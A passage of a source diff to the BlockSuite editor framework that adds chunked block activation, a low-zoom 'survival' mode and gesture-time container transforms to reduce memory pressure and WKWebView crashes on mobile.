     const gfx = this.host.std.get(GfxControllerIdentifier);
     const currentViewportModels = this.getModelsInViewport();
     const currentSelectedModels = this._getSelectedModels();
-    const shouldBeVisible = new Set([
-      ...currentViewportModels,
-      ...currentSelectedModels,
-    ]);
+    const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
+      zoom: this.viewport.zoom,
+      skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+      gestureActive:
+        this.viewport.panning$.value || this.viewport.zooming$.value,
+    });
+    const shouldLimitActiveModels =
+      shouldUseSurvivalMode &&
+      this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
+    const limitedActiveModels = shouldLimitActiveModels
+      ? getLowZoomGestureActiveModels({
+          selectedModels: currentSelectedModels,
+          viewportModels: currentViewportModels,
+          viewportBounds: this.viewport.viewportBounds,
+          nearbyActiveBlockLimit:
+            this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
+          nearbyDistanceRatio:
+            this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
+        })
+      : null;
+    const shouldBeVisible =
+      limitedActiveModels ??
+      new Set([...currentViewportModels, ...currentSelectedModels]);
 
     const previousVisible = this._lastVisibleModels
       ? new Set(this._lastVisibleModels)
       : new Set<GfxBlockElementModel>();
+    const candidatesToHide = new Set(previousVisible);
+
+    if (!this._lastVisibleModels) {
+      this.host.std.view.views.forEach(view => {
+        if (!isGfxBlockComponent(view)) return;
+        candidatesToHide.add(view.model);
+      });
+    }
 
     batch(() => {
-      // Step 1: Activate all the blocks that should be visible
       shouldBeVisible.forEach(model => {
         const view = gfx.view.get(model);
         if (!isGfxBlockComponent(view)) return;
-        view.transformState$.value = 'active';
+        view.transformState$.value = shouldLimitActiveModels
+          ? 'active'
+          : shouldUseSurvivalMode && !currentSelectedModels.has(model)
+            ? 'survival'
+            : 'active';
       });
 
-      // Step 2: Hide all the blocks that should not be visible
-      previousVisible.forEach(model => {
+      candidatesToHide.forEach(model => {
         if (shouldBeVisible.has(model)) return;
 
         const view = gfx.view.get(model);
@@ -103,11 +364,161 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
       });
     });
 
+    this._syncMountedBlockViews(shouldBeVisible);
+
     this._lastVisibleModels = shouldBeVisible;
   };
 
+  /**
+   * Chunked version of _hideOutsideAndNoSelectedBlock that processes blocks
+   * in batches across multiple frames to prevent memory spikes on mobile.
+   * Returns a cancel function.
+   */
+  private _chunkedHideOutsideAndNoSelectedBlock(
+    onComplete?: () => void
+  ): () => void {
+    if (!this.host) return () => {};
+
+    const gfx = this.host.std.get(GfxControllerIdentifier);
+    const currentViewportModels = this.getModelsInViewport();
+    const currentSelectedModels = this._getSelectedModels();
+    const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
+      zoom: this.viewport.zoom,
+      skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+      gestureActive:
+        this.viewport.panning$.value || this.viewport.zooming$.value,
+    });
+    const shouldLimitActiveModels =
+      shouldUseSurvivalMode &&
+      this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
+    const limitedActiveModels = shouldLimitActiveModels
+      ? getLowZoomGestureActiveModels({
+          selectedModels: currentSelectedModels,
+          viewportModels: currentViewportModels,
+          viewportBounds: this.viewport.viewportBounds,
+          nearbyActiveBlockLimit:
+            this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
+          nearbyDistanceRatio:
+            this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
+        })
+      : null;
+    const shouldBeVisible =
+      limitedActiveModels ??
+      new Set([...currentViewportModels, ...currentSelectedModels]);
+
+    const previousVisible = this._lastVisibleModels
+      ? new Set(this._lastVisibleModels)
+      : new Set<GfxBlockElementModel>();
+    const candidatesToHide = new Set(previousVisible);
+
+    if (!this._lastVisibleModels) {
+      this.host.std.view.views.forEach(view => {
+        if (!isGfxBlockComponent(view)) return;
+        candidatesToHide.add(view.model);
+      });
+    }
+
+    // Compute which blocks need activation and which need hiding
+    const toActivate: GfxBlockElementModel[] = [];
+    shouldBeVisible.forEach(model => {
+      if (!previousVisible.has(model)) {
+        toActivate.push(model);
+      } else {
+        // Already visible, just ensure state is correct
+        const view = gfx.view.get(model);
+        if (!isGfxBlockComponent(view)) {
+          return;
+        }
+        const targetState = shouldLimitActiveModels
+          ? 'active'
+          : shouldUseSurvivalMode && !currentSelectedModels.has(model)
+            ? 'survival'
+            : 'active';
+        if (view.transformState$.value !== targetState) {
+          toActivate.push(model);
+        }
+      }
+    });
+
+    const toHide: GfxBlockElementModel[] = [];
+    candidatesToHide.forEach(model => {
+      if (!shouldBeVisible.has(model)) {
+        toHide.push(model);
+      }
+    });
+
+    this._lastVisibleModels = shouldBeVisible;
+
+    // Hide blocks immediately (cheap: just sets visibility:hidden)
+    if (toHide.length > 0) {
+      batch(() => {
+        toHide.forEach(model => {
+          const view = gfx.view.get(model);
+          if (!isGfxBlockComponent(view)) return;
+          view.transformState$.value = 'idle';
+        });
+      });
+    }
+
+    this._syncMountedBlockViews(shouldBeVisible);
+
+    // Activate blocks in chunks to prevent memory spikes
+    const CHUNK_SIZE = 8;
+    let chunkIndex = 0;
+    let cancelled = false;
+    let rafId: number | null = null;
+
+    const processNextChunk = () => {
+      if (cancelled) return;
+      const start = chunkIndex * CHUNK_SIZE;
+      const end = Math.min(start + CHUNK_SIZE, toActivate.length);
+
+      if (start >= toActivate.length) {
+        onComplete?.();
+        return;
+      }
+
+      batch(() => {
+        for (let i = start; i < end; i++) {
+          const model = toActivate[i];
+          const view = gfx.view.get(model);
+          if (!isGfxBlockComponent(view)) continue;
+          view.transformState$.value = shouldLimitActiveModels
+            ? 'active'
+            : shouldUseSurvivalMode && !currentSelectedModels.has(model)
+              ? 'survival'
+              : 'active';
+        }
+      });
+
+      chunkIndex++;
+      if (chunkIndex * CHUNK_SIZE < toActivate.length) {
+        rafId = requestAnimationFrame(processNextChunk);
+      } else {
+        onComplete?.();
+      }
+    };
+
+    // Start first chunk immediately (synchronous for responsiveness)
+    if (toActivate.length > 0) {
+      processNextChunk();
+    } else {
+      onComplete?.();
+    }
+
+    return () => {
+      cancelled = true;
+      if (rafId !== null) {
+        cancelAnimationFrame(rafId);
+        rafId = null;
+      }
+    };
+  }
+
   private _lastVisibleModels?: Set<GfxBlockElementModel>;
 
+  private _pendingChunkedHideCancel: (() => void) | null = null;
+
   private _lastViewportUpdate?: { zoom: number; center: [number, number] };
 
   private _lastViewportRefreshTime = 0;
@@ -134,19 +545,49 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
     }
   }
 
+  private _cancelPendingChunkedHide() {
+    if (this._pendingChunkedHideCancel) {
+      this._pendingChunkedHideCancel();
+      this._pendingChunkedHideCancel = null;
+    }
+  }
+
+  private _scheduleChunkedHide(onComplete?: () => void) {
+    this._cancelPendingChunkedHide();
+    this._pendingChunkedHideCancel = this._chunkedHideOutsideAndNoSelectedBlock(
+      () => {
+        this._pendingChunkedHideCancel = null;
+        onComplete?.();
+      }
+    );
+  }
+
   private _scheduleTrailingViewportRefresh() {
     this._clearPendingViewportRefreshTimer();
     this._pendingViewportRefreshTimer = globalThis.setTimeout(() => {
       this._pendingViewportRefreshTimer = null;
       this._lastViewportRefreshTime = performance.now();
       this._refreshViewport();
-    }, GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL);
+    }, this._maxInterval);
   }
 
   private _refreshViewportByViewportUpdate(update: {
     zoom: number;
     center: [number, number];
   }) {
+    // When SKIP_REFRESH_DURING_GESTURE is enabled, defer all DOM mutations
+    // until panning/zooming ends to prevent main thread blocking
+    if (
+      this.viewport?.SKIP_REFRESH_DURING_GESTURE &&
+      (this.viewport.panning$.value || this.viewport.zooming$.value)
+    ) {
+      this._lastViewportUpdate = {
+        zoom: update.zoom,
+        center: [update.center[0], update.center[1]],
+      };
+      return;
+    }
+
     const now = performance.now();
     const previous = this._lastViewportUpdate;
     this._lastViewportUpdate = {
@@ -166,13 +607,11 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
       (update.center[1] - previous.center[1]) * update.zoom
     );
     const timeoutReached =
-      now - this._lastViewportRefreshTime >=
-      GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL;
+      now - this._lastViewportRefreshTime >= this._maxInterval;
 
     if (
       zoomChanged ||
-      centerMovedInPixel >=
-        GfxViewportElement.VIEWPORT_REFRESH_PIXEL_THRESHOLD ||
+      centerMovedInPixel >= this._pixelThreshold ||
       timeoutReached
     ) {
       this._clearPendingViewportRefreshTimer();
@@ -197,17 +636,303 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
         this._refreshViewportByViewportUpdate(update)
       )
     );
+    this.disposables.add(
+      this.viewport.zoomUpdated.subscribe(({ previousZoom, zoom }) => {
+        const previousMode = shouldUseLowZoomBlockSurvivalMode({
+          zoom: previousZoom,
+          skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+          gestureActive:
+            this.viewport.panning$.value || this.viewport.zooming$.value,
+        });
+        const nextMode = shouldUseLowZoomBlockSurvivalMode({
+          zoom,
+          skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+          gestureActive:
+            this.viewport.panning$.value || this.viewport.zooming$.value,
+        });
+
+        if (previousMode !== nextMode) {
+          this._hideOutsideAndNoSelectedBlock();
+        }
+      })
+    );
+    this.disposables.add(
+      this.viewport.resizeStarted.subscribe(() => {
+        if (
+          !shouldUseLowZoomBlockSurvivalMode({
+            zoom: this.viewport.zoom,
+            skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+            gestureActive:
+              this.viewport.panning$.value || this.viewport.zooming$.value,
+          })
+        ) {
+          return;
+        }
+
+        this._clearPendingViewportRefreshTimer();
+        this._lastViewportRefreshTime = performance.now();
+        this._lastVisibleModels = undefined;
+        this._scheduleChunkedHide();
+      })
+    );
     this.disposables.add(
       this.viewport.sizeUpdated.subscribe(() => {
         this._clearPendingViewportRefreshTimer();
         this._lastViewportRefreshTime = performance.now();
-        this._refreshViewport();
+        // When SKIP_REFRESH_DURING_GESTURE is enabled, use chunked activation
+        // on resize (orientation change) to avoid a synchronous full refresh
+        // that causes white-screen flash on landscape with many elements.
+        if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+          this._scheduleChunkedHide(() => {
+            this.viewport.viewportUpdated.next({
+              zoom: this.viewport.zoom,
+              center: [this.viewport.centerX, this.viewport.centerY],
+            });
+          });
+        } else {
+          this._refreshViewport();
+        }
       })
     );
+    if (!this.host) {
+      return;
+    }
+
+    this.disposables.add(
+      this.host.std.view.viewUpdated.subscribe(payload => {
+        if (payload.type !== 'block' || payload.method !== 'add') return;
+        if (!isGfxBlockComponent(payload.view)) return;
+
+        const currentSelectedModels = this._getSelectedModels();
+        const shouldUseSurvivalMode = shouldUseLowZoomBlockSurvivalMode({
+          zoom: this.viewport.zoom,
+          skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+          gestureActive:
+            this.viewport.panning$.value || this.viewport.zooming$.value,
+        });
+        const isSelected = currentSelectedModels.has(payload.view.model);
+        const isInViewport = this.getModelsInViewport().has(payload.view.model);
+        const shouldLimitActiveModels =
+          shouldUseSurvivalMode &&
+          this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0;
+        const activeModels = shouldLimitActiveModels
+          ? getLowZoomGestureActiveModels({
+              selectedModels: currentSelectedModels,
+              viewportModels: this.getModelsInViewport(),
+              viewportBounds: this.viewport.viewportBounds,
+              nearbyActiveBlockLimit:
+                this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT,
+              nearbyDistanceRatio:
+                this.viewport.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO,
+            })
+          : null;
+
+        payload.view.transformState$.value = isSelected
+          ? 'active'
+          : isInViewport
+            ? shouldLimitActiveModels
+              ? activeModels?.has(payload.view.model)
+                ? 'active'
+                : 'idle'
+              : shouldUseSurvivalMode
+                ? 'survival'
+                : 'active'
+            : 'idle';
+
+        if (shouldLimitActiveModels && this._shouldParkIdleBlocks()) {
+          this._syncMountedBlockViews(activeModels ?? new Set());
+        }
+      })
+    );
+
+    // When SKIP_REFRESH_DURING_GESTURE is enabled, do one final refresh
+    // after panning/zooming ends to sync block visibility.
+    // Uses setTimeout (not requestIdleCallback) to guarantee a minimum delay
+    // before heavy work starts. requestIdleCallback fires immediately when
+    // idle, which doesn't protect against the "quick pause then resume" pattern.
+    // Uses chunked block activation to prevent memory spikes on mobile.
+    // Cancel if a new gesture starts before completion.
+    if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+      // Marks this element so the stylesheet can drop 'will-change: transform'
+      // from idle blocks (see styles above): in this mode the gesture is driven
+      // by one container transform, so per-block layer promotion is pure
+      // overhead and stalls WKWebView's compositor.
+      this.dataset.skipGestureRefresh = '';
+      let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
+      let cancelChunked: (() => void) | null = null;
+
+      // --- Container-level CSS transform during gestures ---
+      // Instead of updating N block transforms per frame (expensive),
+      // apply a single CSS transform on this element that represents the
+      // relative zoom/pan delta from the gesture start state.
+      // This keeps WKWebView's compositor in sync with only 1 DOM write/frame.
+      let gestureBaseZoom: number | null = null;
+      let gestureBaseTranslateX: number | null = null;
+      let gestureBaseTranslateY: number | null = null;
+      let gestureRAF: number | null = null;
+      let lastTransformTime = 0;
+
+      const applyContainerTransform = () => {
+        gestureRAF = null;
+        if (gestureBaseZoom === null) return;
+        const { zoom, translateX, translateY } = this.viewport;
+        const relativeScale = zoom / gestureBaseZoom;
+        const isPureTranslate = Math.abs(relativeScale - 1) < 1e-3;
+        const now = performance.now();
+        // Scale gestures were already throttled here. The new evidence shows the
+        // crash can still happen while all editor/scroll counters stay at zero,
+        // which points back to this gesture-time container transform path.
+        // On iOS at far-out zoom (the 0.4 repro band), even pure translate can
+        // still move a very large layer tree (17 canvases + active blocks). So
+        // we now also throttle pure-translate writes in that zoom band instead of
+        // assuming they are always cheap.
+        if (
+          shouldSkipGestureTransformWrite({
+            isPureTranslate,
+            zoom,
+            elapsedMs: now - lastTransformTime,
+          })
+        ) {
+          gestureRAF = requestAnimationFrame(applyContainerTransform);
+          return;
+        }
+        lastTransformTime = now;
+        // Container transform: scale changes block sizes, translate compensates
+        // for the center shift. Formula: final_pos = container_translate + scale * base_pos
+        // We need: container_translate + scale * base_pos = current_pos
+        // => container_translate = current_translate - scale * base_translate
+        const dx = translateX - relativeScale * gestureBaseTranslateX!;
+        const dy = translateY - relativeScale * gestureBaseTranslateY!;
+        // Pure pan (relativeScale === 1) is the common gesture and the one that
+        // crashes WKWebView's compositor: a transform that carries scale() keeps
+        // the layer on the "non-trivial transform" path, so WebKit re-rasterizes
+        // the whole container — and with OVERSCAN_RATIO that canvas area is
+        // roughly 2x the visible area behind many canvas layers, which overruns
+        // the GPU compositor (rafGap spikes while drift stays low). Emitting a bare
+        // translate() instead routes panning through the cheap layer-move fast
+        // path with no re-rasterization. The math is identical when scale === 1
+        // (dx/dy already reduce to the pan delta), so this is exact, not a
+        // visual approximation. scale() is only emitted for actual zoom.
+        this.style.transform = isPureTranslate
+          ? `translate(${dx}px, ${dy}px)`
+          : `translate(${dx}px, ${dy}px) scale(${relativeScale})`;
+        this.style.transformOrigin = '0 0';
+      };
+
+      const scheduleContainerTransform = () => {
+        if (gestureRAF === null) {
+          gestureRAF = requestAnimationFrame(applyContainerTransform);
+        }
+      };
+
+      const startGestureTransform = () => {
+        gestureBaseZoom = this.viewport.zoom;
+        gestureBaseTranslateX = this.viewport.translateX;
+        gestureBaseTranslateY = this.viewport.translateY;
+        // Let the first frame of a new gesture apply immediately.
+        lastTransformTime = 0;
+      };
+
+      const clearContainerTransform = () => {
+        if (gestureRAF !== null) {
+          cancelAnimationFrame(gestureRAF);
+          gestureRAF = null;
+        }
+        gestureBaseZoom = null;
+        gestureBaseTranslateX = null;
+        gestureBaseTranslateY = null;
+        this.style.transform = 'none';
+      };
+
+      // --- End-of-gesture recovery ---
+      const cancelPendingRefresh = () => {
+        if (pendingTimerId !== null) {
+          clearTimeout(pendingTimerId);
+          pendingTimerId = null;
+        }
+        if (cancelChunked !== null) {
+          cancelChunked();
+          cancelChunked = null;
+        }
+      };
+
+      const scheduleIdleRefresh = () => {
+        cancelPendingRefresh();
+        const delayMs = getPostGestureRecoveryDelay({
+          isPanning: this.viewport.panning$.value,
+          isZooming: this.viewport.zooming$.value,
+          fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
+        });
+        pendingTimerId = setTimeout(() => {
+          pendingTimerId = null;
+          // If a gesture is still in-flight when the timer fires (e.g. inertial
+          // scroll or clamped setZoom at the zoom floor keeps re-arming the
+          // panning$/zooming$ debounce), do NOT drop the refresh — reschedule
+          // it. Dropping here is what left connectors/elements blank until the
+          // user tapped to force a synchronous refresh.
+          if (this.viewport.panning$.value || this.viewport.zooming$.value) {
+            scheduleIdleRefresh();
+            return;
+          }
+          // Remove container transform before per-block update
+          clearContainerTransform();
+          this._lastViewportRefreshTime = performance.now();
+          // Use chunked activation to spread block rendering across frames
+          cancelChunked = this._chunkedHideOutsideAndNoSelectedBlock(() => {
+            cancelChunked = null;
+            // After all blocks are activated, emit viewportUpdated
+            // to update individual block transforms
+            this.viewport.viewportUpdated.next({
+              zoom: this.viewport.zoom,
+              center: [this.viewport.centerX, this.viewport.centerY],
+            });
+          });
+        }, delayMs);
+      };
+
+      // Listen to panning$ to drive the container transform during gestures
+      // and handle end-of-gesture recovery
+      this.disposables.add(
+        this.viewport.panning$.subscribe(panning => {
+          if (panning) {
+            if (gestureBaseZoom === null) {
+              startGestureTransform();
+            }
+            scheduleContainerTransform();
+            cancelPendingRefresh();
+          } else {
+            scheduleIdleRefresh();
+          }
+        })
+      );
+
+      this.disposables.add(
+        this.viewport.zooming$.subscribe(zooming => {
+          if (zooming) {
+            if (gestureBaseZoom === null) {
+              startGestureTransform();
+            }
+            scheduleContainerTransform();
+            cancelPendingRefresh();
+          } else {
+            scheduleIdleRefresh();
+          }
+        })
+      );
+
+      this.disposables.add({
+        dispose: () => {
+          cancelPendingRefresh();
+          clearContainerTransform();
+        },
+      });
+    }
   }
 
   override disconnectedCallback(): void {
     this._clearPendingViewportRefreshTimer();
+    this._cancelPendingChunkedHide();
+    this._restoreParkedBlockViews();
     super.disconnectedCallback();
   }
 

blocksuite/framework/std/src/gfx/viewport.ts

@@ -23,6 +23,120 @@ export const ZOOM_INITIAL = 1.0;
 
 export const FIT_TO_SCREEN_PADDING = 100;
 
+/**
+ * Process-wide defaults applied to every {@link Viewport} at construction.
+ *
+ * Platforms that need different behavior (e.g. mobile/iOS, which must clamp the
+ * zoom floor and defer DOM mutations during gestures to avoid WKWebView process
+ * termination) override these once at startup, before any editor mounts. This
+ * guarantees both the editor and the readonly preview viewports are born with
+ * the same limits — avoiding the race and wrong-instance problems of patching a
+ * single Viewport asynchronously after it has already mounted.
+ *
+ * Desktop leaves these untouched, so its behavior is unchanged.
+ */
+export const viewportRuntimeConfig = {
+  ZOOM_MIN,
+  ZOOM_MAX,
+  VIEWPORT_REFRESH_PIXEL_THRESHOLD: 18,
+  VIEWPORT_REFRESH_MAX_INTERVAL: 120,
+  SKIP_REFRESH_DURING_GESTURE: false,
+  /**
+   * Delay (ms) before the post-gesture refresh repaints canvases and reactivates
+   * blocks, used only when {@link SKIP_REFRESH_DURING_GESTURE} is true. The same
+   * value drives both the canvas and block refresh timers so they fire together
+   * (avoiding the "blocks appear, then connectors" staggered reveal). Desktop
+   * never enters that code path, so this is mobile-only.
+   */
+  POST_GESTURE_REFRESH_DELAY: 800,
+  /**
+   * Caps the canvas backing-store device-pixel-ratio at low zoom.
+   *
+   * Each entry is `[zoomThreshold, dprCap]`, sorted ascending by threshold.
+   * When the live zoom is below a threshold, the corresponding cap bounds the
+   * effective dpr used to size canvases. Far-out zoom makes content tiny on
+   * screen, so a full retina backing store is wasted memory — on iOS that waste
+   * is what pushes WKWebView past its compositing budget and crashes the web
+   * content process during pan/zoom.
+   *
+   * Empty (the desktop default) means no cap: canvases always use the raw
+   * `window.devicePixelRatio`, so desktop behavior is unchanged.
+   */
+  CANVAS_DPR_CAP_BY_ZOOM: [] as Array<[number, number]>,
+  /**
+   * Fraction by which the *render/activation* viewport bound is enlarged on
+   * every side (see {@link Viewport.overscanViewportBounds}). Pre-painting a
+   * margin around the visible area means moderate pan/zoom gestures move into
+   * content that is already mounted and rasterized, so it does not blank out
+   * and wait for the post-gesture refresh.
+   *
+   * Memory grows by roughly `(1 + 2 * ratio) ** 2`, so this must stay modest
+   * and be paired with a zoom floor + dpr cap on mobile. `0` (desktop default)
+   * makes {@link Viewport.overscanViewportBounds} identical to
+   * {@link Viewport.viewportBounds}, leaving desktop behavior unchanged.
+   *
+   * This governs the *canvas* render bound only (see
+   * {@link Viewport.overscanViewportBounds}). It enlarges the canvas backing
+   * stores, so memory grows with the overscan area. Keep it modest and pair it
+   * with the mobile zoom floor + dpr cap so connectors/elements stay painted
+   * through a gesture without pushing WKWebView over budget.
+   */
+  OVERSCAN_RATIO: 0,
+  /**
+   * Like {@link OVERSCAN_RATIO} but for the *DOM block mounting* bound (see
+   * {@link Viewport.overscanBlockBounds}). This one is expensive: every
+   * mounted block becomes its own composited layer subtree in the WebContent
+   * process, so enlarging it multiplies resident memory and is what pushes the
+   * process toward an iOS jetsam kill. Keep this small (or `0`) even when
+   * {@link OVERSCAN_RATIO} is generous. `0` (desktop default) leaves block
+   * mounting on the exact visible bound, unchanged from upstream.
+   */
+  OVERSCAN_RATIO_BLOCK: 0,
+  /**
+   * During low-zoom gesture survival mode, keep only a tiny subset of DOM blocks
+   * as real active DOM (selected + a few nearby blocks). `0` keeps the legacy
+   * behavior where every viewport block remains visually mounted as `survival`.
+   */
+  LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT: 0,
+  /**
+   * Distance threshold (as a fraction of the viewport's shorter side) used to
+   * decide whether an unselected viewport block counts as "nearby" to the
+   * current selection during low-zoom gesture survival mode.
+   */
+  LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO: 0.35,
+};
+
+export function getPostGestureRecoveryDelay({
+  isPanning,
+  isZooming,
+  fallbackDelayMs,
+}: {
+  isPanning: boolean;
+  isZooming: boolean;
+  fallbackDelayMs: number;
+}) {
+  return isPanning || isZooming ? fallbackDelayMs : 0;
+}
+
+/**
+ * Resolves the effective device-pixel-ratio for canvas backing stores at the
+ * given zoom, honoring {@link viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM}.
+ *
+ * Returns the raw `window.devicePixelRatio` when no cap applies.
+ */
+export function getEffectiveDpr(
+  zoom: number,
+  rawDpr = window.devicePixelRatio
+): number {
+  const caps = viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM;
+  for (const [zoomThreshold, dprCap] of caps) {
+    if (zoom < zoomThreshold) {
+      return Math.min(rawDpr, dprCap);
+    }
+  }
+  return rawDpr;
+}
+
 export interface ViewportRecord {
   left: number;
   top: number;
@@ -92,6 +206,13 @@ export class Viewport {
     top: number;
   }>();
 
+  resizeStarted = new Subject<{
+    width: number;
+    height: number;
+    left: number;
+    top: number;
+  }>();
+
   viewportMoved = new Subject<IVec>();
 
   viewportUpdated = new Subject<{
@@ -99,12 +220,71 @@ export class Viewport {
     center: IVec;
   }>();
 
+  zoomUpdated = new Subject<{
+    previousZoom: number;
+    zoom: number;
+  }>();
+
   zooming$ = new BehaviorSubject<boolean>(false);
   panning$ = new BehaviorSubject<boolean>(false);
 
-  ZOOM_MAX = ZOOM_MAX;
+  /**
+   * Per-instance override for the maximum zoom. When unset, the value is read
+   * dynamically from {@link viewportRuntimeConfig} so that runtime overrides
+   * (e.g. iOS mobile-safe limits configured at app startup) always apply,
+   * regardless of whether this instance was constructed before or after the
+   * override ran.
+   */
+  private _zoomMaxOverride?: number;
 
-  ZOOM_MIN = ZOOM_MIN;
+  private _zoomMinOverride?: number;
+
+  get ZOOM_MAX() {
+    return this._zoomMaxOverride ?? viewportRuntimeConfig.ZOOM_MAX;
+  }
+
+  set ZOOM_MAX(value: number) {
+    this._zoomMaxOverride = value;
+  }
+
+  get ZOOM_MIN() {
+    return this._zoomMinOverride ?? viewportRuntimeConfig.ZOOM_MIN;
+  }
+
+  set ZOOM_MIN(value: number) {
+    this._zoomMinOverride = value;
+  }
+
+  /**
+   * Minimum pixel movement before triggering a viewport refresh during panning.
+   * Higher values reduce refresh frequency, lowering memory pressure on mobile.
+   * Default: 18 (desktop-optimized).
+   */
+  VIEWPORT_REFRESH_PIXEL_THRESHOLD =
+    viewportRuntimeConfig.VIEWPORT_REFRESH_PIXEL_THRESHOLD;
+
+  /**
+   * Maximum interval (ms) between viewport refreshes during continuous interaction.
+   * Higher values reduce refresh frequency, lowering memory pressure on mobile.
+   * Default: 120 (desktop-optimized).
+   */
+  VIEWPORT_REFRESH_MAX_INTERVAL =
+    viewportRuntimeConfig.VIEWPORT_REFRESH_MAX_INTERVAL;
+
+  /**
+   * When true, viewport element visibility refreshes are skipped entirely during
+   * panning/zooming, deferring all DOM mutations until the gesture ends.
+   * Prevents JS main thread blocking that can cause WKWebView process termination.
+   * Default: false (desktop behavior unchanged).
+   */
+  SKIP_REFRESH_DURING_GESTURE =
+    viewportRuntimeConfig.SKIP_REFRESH_DURING_GESTURE;
+
+  LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT =
+    viewportRuntimeConfig.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT;
+
+  LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO =
+    viewportRuntimeConfig.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO;
 
   private readonly _resetZooming = debounce(() => {
     this.zooming$.next(false);
@@ -144,7 +324,7 @@ export class Viewport {
     const newCenterX = initialTopLeftX + width / (2 * this.zoom);
     const newCenterY = initialTopLeftY + height / (2 * this.zoom);
 
-    this.setCenter(newCenterX, newCenterY, false);
+    this.setCenter(newCenterX, newCenterY, false, false);
     this._width = width;
     this._height = height;
     this._left = left;
@@ -245,6 +425,49 @@ export class Viewport {
     });
   }
 
+  /**
+   * Like {@link viewportBounds} but enlarged by
+   * {@link viewportRuntimeConfig.OVERSCAN_RATIO} on every side. Used only by
+   * the *canvas* render path so that gestures move into already-rasterized
+   * vector content instead of blank space. This also enlarges the canvas
+   * backing store, so keep the ratio conservative.
+   *
+   * Hit-testing, selection and other geometry must keep using the exact
+   * {@link viewportBounds}; do not substitute this for those.
+   */
+  get overscanViewportBounds() {
+    return this._enlargeBounds(viewportRuntimeConfig.OVERSCAN_RATIO);
+  }
+
+  /**
+   * Like {@link overscanViewportBounds} but governed by the separate, smaller
+   * {@link viewportRuntimeConfig.OVERSCAN_RATIO_BLOCK}. Used only by the *DOM
+   * block mounting* path. Expensive: every mounted block adds a composited
+   * layer subtree, so this must stay small to keep the WebContent process
+   * under the iOS jetsam memory limit even when canvas overscan is generous.
+   */
+  get overscanBlockBounds() {
+    return this._enlargeBounds(viewportRuntimeConfig.OVERSCAN_RATIO_BLOCK);
+  }
+
+  private _enlargeBounds(ratio: number) {
+    const bounds = this.viewportBounds;
+
+    if (ratio <= 0) {
+      return bounds;
+    }
+
+    const marginX = bounds.w * ratio;
+    const marginY = bounds.h * ratio;
+
+    return new Bound(
+      bounds.x - marginX,
+      bounds.y - marginY,
+      bounds.w + marginX * 2,
+      bounds.h + marginY * 2
+    );
+  }
+
   get viewportMaxXY() {
     const { centerX, centerY, width, height, zoom } = this;
     return {
@@ -297,8 +520,10 @@ export class Viewport {
   dispose() {
     this.clearViewportElement();
     this.sizeUpdated.complete();
+    this.resizeStarted.complete();
     this.viewportMoved.complete();
     this.viewportUpdated.complete();
+    this.zoomUpdated.complete();
     this._resizeSubject.complete();
     this.zooming$.complete();
     this.panning$.complete();
@@ -307,7 +532,7 @@ export class Viewport {
   getFitToScreenData(
     bounds?: Bound | null,
     padding: [number, number, number, number] = [0, 0, 0, 0],
-    maxZoom = ZOOM_MAX,
+    maxZoom = this.ZOOM_MAX,
     fitToScreenPadding = 100
   ) {
     let { centerX, centerY, zoom } = this;
@@ -324,7 +549,11 @@ export class Viewport {
       (width - fitToScreenPadding - (pr + pl)) / w,
       (height - fitToScreenPadding - (pt + pb)) / h
     );
-    zoom = clamp(zoom, ZOOM_MIN, clamp(maxZoom, ZOOM_MIN, ZOOM_MAX));
+    zoom = clamp(
+      zoom,
+      this.ZOOM_MIN,
+      clamp(maxZoom, this.ZOOM_MIN, this.ZOOM_MAX)
+    );
 
     centerX = x + (w + pr / zoom) / 2 - pl / zoom / 2;
     centerY = y + (h + pb / zoom) / 2 - pt / zoom / 2;
@@ -353,6 +582,12 @@ export class Viewport {
 
     this._left = left;
     this._top = top;
+    this.resizeStarted.next({
+      left,
+      top,
+      width,
+      height,
+    });
     this._resizeSubject.next({
       left,
       top,
@@ -367,19 +602,39 @@ export class Viewport {
    * @param centerY The new y coordinate of the center of the viewport.
    * @param forceUpdate Whether to force complete any pending resize operations before setting the viewport.
    */
-  setCenter(centerX: number, centerY: number, forceUpdate = true) {
+  setCenter(
+    centerX: number,
+    centerY: number,
+    forceUpdate = true,
+    signalPanning = true
+  ) {
     if (forceUpdate && this._isResizing) {
       this._forceCompleteResize();
     }
 
     this._center.x = centerX;
     this._center.y = centerY;
-    this.panning$.next(true);
